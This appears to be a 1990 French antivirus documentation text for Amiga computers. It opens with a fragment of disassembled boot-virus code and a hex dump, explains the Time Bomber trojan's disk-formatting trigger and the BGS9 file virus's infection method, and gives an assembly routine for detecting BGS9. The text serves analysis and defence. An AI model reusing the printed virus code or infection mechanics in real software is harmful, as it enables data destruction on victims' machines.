-150(A6) ;on passe en mode superviseur 050240:4ef9 jmp $fc0002 ;reset !! 050246:0890 bclr #0,(A0) 05024a:08d0 bset #0,(A0) 05024e:303c move.w #$0800,D0 ; Delay pour la routine "drives en folies" 050252:4e71 nop ; ci-dessus 050254:51c8 dbf D0,$050252 ; 050258:4e75 rts ; 050000: 444f 5300 f602 ff0c 0000 0370 4eba 0024 DOS........pN..$ 050010: 4eae ffa0 4a80 670a 2040 2068 0016 7000 N...J.g. @ h..p. 050020: 4e75 70ff 60fa 646f 732e 6c69 6272 6172 Nup.`.dos.librar 050030: 7900 48e7 fffe 4eae ff88 41fa ffc4 226e y.H...N...A..."n ;code 050250: 0800 4e71 51c8 fffc 4e75 696e 7475 6974 ..NqQ...Nuintuit 050260: 696f 6e2e 6c69 6272 6172 7900 00b0 1554 ion.library....T ;texte 050270: 4845 2045 5854 5245 4d45 2041 4e54 492d HE EXTREME ANTI- ;qui ;clignotera dans le cadre rouge affiché par displayAlert et ;qui est placé également dans Rt_Name de la table résidente 050280: 5649 5255 5320 2048 4120 4841 2021 2121 VIRUS HA HA !!! 050290: 0001 00c8 2942 4143 4b20 544f 204c 4956 ....)BACK TO LIV 0502a0: 4520 4241 434b 2054 4f20 5245 414c 4954 E BACK TO REALIT 0502b0: 5900 0100 883d 5349 434f 2044 4520 4d4f Y....=SICO DE MO 0502c0: 454c 2020 4245 5247 4552 5745 4720 3130 EL BERGERWEG 10 0502d0: 3020 2043 414c 4c20 3037 322d 3131 3438 0 CALL 072-1148 0502e0: 3136 0000 0000 0064 0000 0000 0000 0000 16.....d........ puis des 0 j-> $50400 Merci encore à tous ceux qui m'envoient des virus. Tout courrier à ce sujet est bien entendu attendu et vous pouvez m'écrire à l'adresse suivante : Leclercq Xavier Vieux Chemin D'Ath n°12 7548 Warchin BELGIUM \ - B. About a horse of trojan : / Le premier "Cheval de Troie" sur l'Amiga : The Time Bomber. ----------------------------------------------------------- Sans doute un nouveau volet de l'histoire des "microbes" sur l'Amiga vient d'être ouvert. Au début de cette histoire tout était simple,il y avait le virus by S.C.A qui se fixait sur le boot.Les clones de celui-ci sont alors débarqué en masse :BS1,LSD,AEK,...pour ne citer qu'eux et dont seul le texte révélant leurs présence en mémoire a été modifié.(Et les CheckSums respectifs).Puis cette lignée de microbes (ne voyez là aucun titre de noblesse) en a inspirer bien d'autres toujours un peu moins détectable et plus dangereux:Virus by the Byte Bandit,Gadaffi,The Lamer Exterminator,...La ruse était poussée à l'extrème lorsque certains virus se laissaint passer pour des Virus protectors :HCS 4220,Nighty Byte Warrior (DASA),The Pentagon Circle Virus Slayer,The Band Virus Slayer... Les choses se compliquèrent alors lorsque les premiers "Virus coquilles" apparurent :IRQ TEAM,BGS9,... Ces virus s'inspirent de certains virus sur P.C (Personnal Chiotes?...).En effet ils ne s'attanquent qu'aux fichiers éxécutables et ont pas mal de défauts (defauts de jeunesse?),le principal étant le manque de discrétion lors de l'installation dans la startup-sequence. Ces microbes étant particulièrement dangereux pour les utilisateurs possédant un disque dur. Enfin voilà le troisième grand type de microbe:le cheval de troie.Au départ il semble tout a fait inoffensif.En effet ce n'est pas un Virus qui s'installe sur le boot,ni un Virus s'infiltrant dans les fichiers,il n'est pas résidant en mémoire et il ne résiste donc pas au reset.Que lui reste t-il donc pour nous faire peur? Suivez bien le guide.Le principe d'un cheval de troie est de s'infiltrer dans une entité sans que l'on se doute un seul instant de sa nature destructive puis comme une bombe à retardement détruire un maximum de l'intérieur... Analysons un moment comment cette chose est possible.Vous venez de recevoir une disquette dont les origines sont douteuses (dois-je faire un dessin?). Cette disquette contient une super doc et vous vous jetez dessus pour la lire.(c'est déjà le mauvais réflexe).Le disk est impérativement de type "DOS" et a une startup-sequence dont le premier fichier appelé est "virustest" d'une taille de 936 octets.Ce fichier c'est notre cheval de troie : The Time Bomber.(A ne pas confondre avec le Time Bomb Virus).Il est accompagné d'un fichier de 1 octet qui se nomme VIRUSTEST.DATA et dont le rôle dans l'histoire est un compteur qui au départ est initialisé à 5. Le fichier "VirusTest" étant appelé par la startup-sequence il vous demandera de déprotéger la disquette en écriture.Et le petit message "USER REQUEST :PLEASE REMOVE WRITE PROTECTION AND PRESS LEFT MOUSE BUTTON TO CONTINUE..." s'inscrit dans la fenêtre CLI.Il n'y alors plus moyen de continuer a moins de déprotéger la disquette.Une fois cette opération éffectuée un deuxième requester apparaît dans la fenêtre CLI : "RAM CHECKED - NO VIRUS FOUND".Le Time Bomber se fait donc passer pour un anti-virus.La disquette étant déprotégée il aura alors pris le soin de décrémenter de 1 le fichier compteur VIRUSTEST.DATA puis la startup continuera en séquence et vous pourrez parcourir votre doc.L'opération étant répétée cinq fois (le fichier compteur se trouvant décrémenter de cinq) ,d'un coup ,sans vous prévenir, le cheval de troie se réveillera pour FORMATTER votre disquette et se faisant se détruira lui-même sans laisser de traces.Le formattage est éffectué grâce à la fonction DoIo (-456(A6)) ,sans bruit anormal,comme si le déroulement de la starup-up continuait normalement.Au bout d'un moment un message d'erreur apparaît tel que "KEY 880 CHECKSUM ERROR" du fait qu'il n'y a plus rien sur le disk.(Les sommes de controles ou CHECKSUM sont tous faussés). Après voir cliquer su CANCEL s'inscrit sur l'écran le message suivant: "SORRY,LOOSER,THAT'S ALL YOU CONNA GET!".Et vous vous n'avez plus que vos yeux pour pleurer la disparition de votre super doc... Point important :le cheval de troie ne se reproduit pas et est donc greffé à l'origine sur votre disquette. A ce stade de l'exposé je me dois de préciser des points extrèmement important: -Le Time Bomber est indétectable (même par VirusX 3.2).Les seuls repères étant la taille du fichier (936) du VirusTest,la demande répétée pour déprotéger la disquette et le message "RAM CHECKED ..". -Ce microbe n'est pas codé et il me paraît aisé même pour un débutant de changer le nom VIRUSTEST.DATA et la syntaxe des différents messages.Ces points de repères sont donc peu fiables... -Si un utilisateur décide d'enlever les deux fichiers du disk il lui faudra impérativement rectifier la startup-sequence pour éviter le "Unknow command". -et enfin la dernière remarque la plus importante : CE CHEVAL DE TROIE NE SE REPRODUISANT PAS DE LUI-MEME IL NE PEUT SE TROUVER QUE SUR DES SOFTS PIRATES!!! Donc l'utilisateur honnête que vous êtes ne pourra jamais faire la connaissance de ce cheval de troie.(Reste le Dom.Pub. dont certains disks pourraît éventuellement en contenir).De plus pour installer ce microbe existe un programme du nom de Time Bomber (origine du nom) de wizards inc qui ne peut lui aussi provenir que du monde des pirates. Conclusion : soyez honnêtes sinon "SORRY LOOSER THAT'S ALL YOU GONNA GET!"... Merci à Bruno de nous avoir envoyer un examplaire du Time Bomber. Vous pouvez toujours m'envoyer vos dernières découvertes microbiennes : Leclercq Xavier Vieux Chemin d'Ath n°12 7548 Warchin BELGIUM \ - About a File_Virus (linkage type) : / Quelques mots à propos du BGS9: ------------------------------- Le Virus BGS9 débarque sur l'Amiga.Attention danger!! Ce virus est de la même trempe que l' IRQ TEAM Virus ,c'est un virus qui s'attaque directement aux fichiers éxécutables.Ce type de virus porte le nom de "virus coquille".De la même manière que ses confrères qui sont rendus actif par le "Boot" d'une disquette ,le BGS9 est résident en mémoire,un reset (classique) est impuissant et ne peut l'éliminer de cette dernière.En effet le virus se crée une entrée dans la table des prgs résidents (550(exbase)) et peut également se trouver en mémoire en "cohabitant" avec un confrère virus ou virus protector! Après avoir effectué 4 resets(*) consécutifs un message apparaît. ( (*) Le reset devant se faire après l'éxécution du premier fichier de la "startup-sequence" pour que le compteur du virus soit incrémenter de 1) Le message est le suivant: " A COMPUTER VIRUS IS A DISEASE " " TERRORISM IS A TRANSGRESSION " " SOFTWARE PIRACY IS A CRIME " " THIS IS THE CURE " " B.G.S.9 BUNDERSGRENZSCHUTZ SEKTION 9 " " SONDERKOMMANDO 'EDV' " En fait l'étude du code de ce virus permet de dire qu'il s'agit tout simplement de données graphiques qui sont décodées lors de l'affichage. Ce texte n'apparaît donc pas "en clair" (même décodé) car de toutes manières ce n'est pas des caractères ASCII mais une image. Comme je l'ai déjà expliqué il s'agit d'un virus s'attaquant aux éxécutables.Une fois en mémoire et lorsque vous aurez insérer une nouvelle disquette et éffectué un reset le virus lira la "startup-sequence" pour l'analyser.Il trouvera alors le nom du PREMIER fichier s'éxécutant et le recopiera dans le directory ":devs" s'il existe.Et si ce dernier n'existe pas il recopiera le fichier dans la "root" principale (df0:).Je dois faire à ce sujet plusieurs remarques. Premièrement Un fichier protégé sera recopié avec ses protections :inutile donc de le protéger.Deuxièmement le nom du fichier recopié sera modifié en $a0a0a0202020a0202020a0 :c'est un nom qui n'apparaît pas lors d'un"dir" ou "list"classique.Troisièmement le fichier est recopié par défaut dans le ":devs" car c'est un "sub-directory" automatiquement pris dans le chemin (path) du système : le virus accède donc au fichier quel que soit le chemin où le système se trouve lors de l'appel. Après donc avoir recopié le PREMIER éxécutable il se recopiera à la place du fichier qu'il a préalablement recopié (ouf!!).Il écrasera donc le fichier en y mettant son propre code.La taille de ce fichier qui contient donc le code du BGS9 virus est de 2608 octets et est donc facilement repérable en comparant la taille de la commande intitiale provenant d'une disquette (back-up) saine.(Il serait tout de même stupéfiant d'avoir une commande dont la longueur soit justement 2608 octets,mais on ne sait jamais !!).Résumons.La commande "setmap f" se trouve en début de votre "startup-sequence".Le virus va chercher le nom "setmap" la trouver sur la disquette dans le sous directory ":c" et la recopiée dans le sous directory ":devs" en changeant son nom ($a0a0a0202020a0202020a0).Puis il créera un nouveau fichier "setmap" de 2608 octets dans le sous directory ":c" écrasant par la même occasion l'ancien fichier du même nom.Lors du prochain appel de la "startup-sequence" c'est d'abord la commande "setmap f" qui sera éxécutée et donc c'est le virus qui sera d'abord lancé puis celui-ci fera appel au fichier dans le sous directory ":devs" pour éxécuter correctement la commande. Le BGS9 contamine des disquettes NON protégées en écriture.(Comme d' ailleurs TOUS les autres virus).Il n'est pas détecté par VirusX 3.2. Le BGS9 est "mortel" pour disquedur.Surtout pour les utilisateurs qui "Boot" automatiquement ce périphérique à chaque reset! Je vous propose quand même un moyen de le détecter en mémoire en employant la propre routine d'auto-reconnaissance du BGS9 en mémoire que j'ai pu désassembler. Xavier L. ;listing à insérer dans vos propres routines par exemple... TEST_BGS9_VIRUS: movem.l a0-a6/d0-d7,-(sp) move.l $4,a6 ;ExBase en a6 move.l 550(a6),d7 ;KickTagPtr (table des prgs résident) beq.L NoBSG9V ;si à Zéro il n'y a pas de BGS9 virus en mémoire move.l d7,a2 move.l (a2)+,d1 move.l d1,a1 move.l 14(a1),d0 ;Compare le prg résident actuellement en mémoire move.l d0,a3 ;avec le code du virus move.l #"TTV1",d6 ;si le texte "TTV1" apparaît le Virus est cmpi.l (a3),d6 ;en mémoire!! bne.s NoBSG9V movem.l (sp)+,a0-a6/d0-d7 move.l #$f,d0 ;Flag d'erreur... rts NoBSG9V: movem.l (sp)+,a0-a6/d0-d7 clr.l d0 rts Good use of the Master Virus Killer! See you for my next version. (v2.?) Please ,please ,please if you own new viruses SEND IT TO ME !!!!! Thanx !!!!!!!!!!!!!!! X.L November 1990